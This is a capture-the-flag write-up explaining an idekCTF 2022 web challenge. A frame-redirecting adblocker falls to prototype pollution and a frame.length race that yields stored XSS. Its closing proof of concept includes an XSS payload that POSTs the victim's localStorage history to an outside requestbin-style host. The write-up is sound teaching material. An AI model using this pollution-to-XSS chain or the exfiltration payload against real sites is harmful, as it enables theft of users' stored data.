Challenge, Source code, CTFtime event. Site is dead :(
Millennia ago, I wrote a challenge for idekCTF 2022*. Here’s the writeup!
The Writeup
The app was some extensionless adblocker which tried to work by framing a given page and redirecting all of its subframes. Of course, this didn’t account for ads in different tags or framing protections on the page (eg X-Frame-Options
or frame-ancestors
), rendering this practically useless. However, this led to some interesting behaviours, making this perfect for a CTF challenge :D
Note that this subframe redirection is only possible if one of the redirected page’s ancestors is the one doing the redirecting. Notably, this means that you can’t do any redirecting via opener relations. This is unrelated to the vulnerabilities in the challenge.
When you visit a page with this adblocker, the url of that page, date and number of ads blocked (calculated very generously in order to bloat the numbers) were saved in your blockHistory™. The flag was stored in the blockHistory™ of the admin.
With this in mind, here’s the implementation for clearing the ads from the page.
// viewer.html
async function clearFrame(frame) {
return new Promise(async (resolve) => {
// Clear children before clearing this one
// otherwise the navigation will remove the child frames
let numChildren = frame.length;
for (let i = 0; i < numChildren; i++) {
await clearFrame(frame[i]);
}
// Navigate the frame to blocked.html
if (frame !== viewer.contentWindow) frame.location.href = "/blocked.html";
// Wait until same-origin before logging the frame name
await sameOriginCheck(frame).then(() => {
console.debug(frame.name || "(no name)", "blocked");
numBlocked += numChildren;
})
.catch(e => console.log(e));
resolve();
});
}
The sameOriginCheck
ensured that the frame had the same origin as the parent by repeatedly trying to read a cross-origin property (frame.origin
) until it didn’t error out, or until the timeout was exceeded:
// viewer.html
async function sameOriginCheck(frame) {
return new Promise((resolve, reject) => {
let tries = 0;
let check = setInterval(() => {
// keep trying until same-origin
tries++;
if (tries > 250) {
clearInterval(check);
return reject("Maximum number of tries exceeded");
}
try {
if (frame.origin === origin) {
clearInterval(check);
resolve();
}
} catch(e) {
// if not same-origin, the above will throw a DOMException (expected)
// so only throw otherwise
if (!(e instanceof DOMException)) throw e;
}
}, 1);
});
}
clearFrame
clears each frame in the frame tree recursively in a depth-first search, waiting for each frame to be same-origin before logging the frame’s name. It has to be same-origin, otherwise reading frame.name
will violate cross-origin policies. Doing this recursively bloats the number of ads blocked a lot, as you might imagine, since it will count the number of child frames in each of the frames in the frame tree.
The other thing about this app is that if something can be done via innerHTML
assignment, it will be done via innerHTML
assignment. Notably, on the index page, this function is called with preview
set to false
:
// utils.js
function showHistory(preview) {
let historyHTML = "";
if (preview) {
// only show part of the history and URLs
window.blockHistory = window.blockHistory.slice(0,5);
window.blockHistory.forEach(({ url }) => {
historyHTML += `<p><code>${encodeURI(url)}</code></p>`;
});
historyHTML += "<p>etc...</p>"
} else {
// show everything
window.blockHistory™.forEach(({ url, numBlocked, date }) => {
historyHTML += `<p>${date} - <code>${encodeURI(url)}</code><br>
<b>${numBlocked} ads blocked</b></p>`;
});
}
// snip
// not a form but it looks nice :D
document.body.innerHTML += `
<fieldset id="historyContainer">
<legend>History${preview ? " Preview" : ""}</legend>
<div>${historyHTML}</div>
</fieldset>
`;
}
…and the blockHistory™ is appended to before viewer.html
is unloaded:
// viewer.html
window.addEventListener("beforeunload", () => {
// Save the current session to history
window.blockHistory™.push({ url, numBlocked, date });
localStorage.setItem("blockHistory", JSON.stringify(window.blockHistory™));
});
We can’t leverage the dangerous innerHTML
assignment to get XSS via the url, since encodeURI
encodes both angle brackets <
>
to %3C
and %3E
, and we’re not in a context where we can add some extra attributes to a tag or some other funky thing. Additionally, the date is set via this line:
// viewer.html
let date = new Date(Date.now()).toDateString();
…which doesn’t let us get XSS either (you can try!). All that’s left is numBlocked
.
I’d hoped that this would give the player a pretty good sense of what to try and go for.
There’s only one place where numBlocked
is modified, and it’s in this function from before:
// viewer.html
async function clearFrame(frame) {
// snip
let numChildren = frame.length;
for (let i = 0; i < numChildren; i++) {
await clearFrame(frame[i]);
}
// snip
await sameOriginCheck(frame).then(() => {
console.debug(frame.name || "(no name)", "blocked");
numBlocked += numChildren;
})
// snip
}
If we can make numChildren
a string with our payload, numBlocked
will become a string with our payload (since an integer plus a string in JS does this). As shown in the snippet above, numChildren
is set to frame.length
, and frame
is a WindowProxy
, so .length
refers to the length
property in the context of that window!
Try solving the challenge from here if you haven’t already!
There are a fair few options from here, but none might seem to work (unless you’ve seen the last remaining vulnerability in this challenge, in which case the path ahead may be fairly obvious).
- Setting the
length
variable on your own hosted page and intercepting the redirection to go to your site won’t work since cross-origin policies stopframe.length
from reading from your maliciously-defined length; the page can’t “see” any information on your page, and it gets that value forframe.length
from the browser as the number of embedded frames on that page. If it could read the value you define, that would have some major security implications! - DOM clobbering cross-origin by creating an
iframe
withname=length
doesn’t work. - DOM clobbering length with anything doesn’t work.
Additionally, nothing on any of the pages stands out as odd with regards to length
(apart from the code above); there’s nothing which sets something like A.length = B
that we can hijack for our own use, so there seems to be a roadblock.
We’re in need of a final puzzle piece, which happens to be here:
// utils.js
function mergeHistories(history, newHistory) {
for (const [k, v] of Object.entries(newHistory)) {
if (typeof v === "object" && !Array.isArray(v)) {
if (!(history[k])) history[k] = {};
history[k] = mergeHistories(history[k], v);
} else {
history[k] = v;
}
}
return history;
}
…where you control newHistory
, here:
// import-history.html
window.addEventListener("load", () => {
let newHistory;
try {
newHistory = JSON.parse(
new URLSearchParams(location.search).get("history")
);
} catch(e) {
info.innerHTML = "Your history was malformed :(";
return;
}
// preview the history
mergeHistories(window.blockHistory, newHistory);
showHistory(true);
info.innerHTML = `<b>This will overwrite your current history</b><br>
Click <a href=# onclick=confirm()>here</a> to confirm that you still wish to import this history`
});
Note:
showHistory
is called as a preview so we can’t use this to instantly get XSS/HTML injection.
This is a textbook prototype pollution vulnerability! We can provide our own history with __proto__
set to overwrite properties on the global object, allowing us to set .length
on any object if it doesn’t already have it defined.
Note that this bypasses cross-origin policies since the polluted object is on the same origin as the viewer page!
Unfortunately, the frames which clearFrame
is called on are instances of WindowProxy
objects (check mozilla’s documentation) and length
is already defined on WindowProxy
objects, so we can’t use prototype pollution to overwrite length
to some value of our choosing.
If we could get frame
to point not to a WindowProxy
but to any other object polluted in that frame’s context without .length
defined, we could get .length
to be a string of our choosing.
But how do we do this?
Remember this snippet from before:
// viewer.html
// snip
let numChildren = frame.length;
for (let i = 0; i < numChildren; i++) {
await clearFrame(frame[i]);
}
// snip
We might be able to control frame[i]
. For example, we could set up a page with one frame on it, so that length === 1
, and then pollute the 0
property so that we control frame[0]
. However, same problem from before: frame[0]
is already defined (it’s the embedded frame) so that will take precedence.
Can we undefine it?
If we can set up a page in such a way that the initial length reading is larger than the number of frames on the page at the time of reading frame[i]
, then frame[i]
may be undefined at the time of calling clearFrame
; then our polluted properties will be read! That’s the key to the challenge, and there were several ways of doing it.
Solving
One way I saw from most of the solvers was to spam a ton of frames on the page, so that as clearFrame
was called on each of the frames sequentially, it would take a longer period of time. This gave you more time to delete, say, the 1000th frame, so that by the time it got to frame[999]
, it would be undefined, then you would go through with the whole prototype pollution. (I don’t have a payload for this, otherwise I’d put it here)
The intended solution was similar but used CSPs instead to reduce the number of frames required. The method went like:
- embed the viewer page in an iframe so that we can control the nested iframe
- set the url to a page with 2 iframes to set the initial length of ads to 2
- the viewer will read the length = 2 and then clear both of those frames
- there is a csp that stops the navigation from going to /blocked.html - this means that the sameOriginCheck will timeout
- during this timeout, navigate the parent of the 2 iframes to point to the import-history page, which has a prototype pollution vulnerability
- as the viewer and the index page are same origin, the viewer can access the prototype polluted variables, and contentWindow[1] can be polluted (as it doesnt exist, there isnt an iframe) to an object storing any length we want
- the length is saved to localStorage, which is inserted directly into innerHTML
Recall that the sameOriginCheck
from before always tries to read some cross-origin property until it doesn’t error out. While it’s doing this, the clearFrame
function is stuck and it doesn’t clear any other frames. This solution worked by prolonging the clearFrame
function long enough to remove the frames (so the pollution could take place) by adding a CSP to make sure that the frame was never same-origin with the parent.
This CSP worked as a reference:
<meta http-equiv="Content-Security-Policy" content="frame-src 'none';">
Can you think of some other ways to solve this challenge? For example, there was another way that involved sandboxing the navigated iframe so that the
sameOriginCheck
would fail (sandboxed iframes are from a special origin that isn’t same-origin with anything by default)!
Here’s a POC:
<!-- a.html -->
<iframe id=embedded></iframe>
<script>
const sleep = d => new Promise(r => setTimeout(r, d));
const main = async () => {
SERVER = "http://127.0.0.1:1111"
ATTACKER = "http://<you>/b.html"
embedded.src = `${SERVER}/${encodeURIComponent(ATTACKER)}`;
await sleep(3500);
location = SERVER;
}
main();
</script>
<!-- b.html -->
<head>
<meta http-equiv="Content-Security-Policy" content="frame-src 'none';">
</head>
<script>
const sleep = d => new Promise(r => setTimeout(r, d));
const main = async () => {
PAYLOAD = encodeURIComponent(JSON.stringify({
["__proto__"]: {
"1": {
"length": "<img src=x onerror=\"fetch(`http://1s4fqew1.requestrepo.com/`,{method:`POST`,body:`${localStorage.blockHistory}`})\">",
"location": {},
"name":"lol",
"origin": parent.parent.SERVER
}
}
}))
await sleep(500);
location = `${parent.parent.SERVER}/import-history.html?history=${PAYLOAD}`
}
main();
</script>
Sending the admin to a.html
triggers the flow and yields the flag :)
Postscript
If you played the challenge, I hope you enjoyed it! If not, hopefully this made for an interesting read. Either way, thank you very much for reading!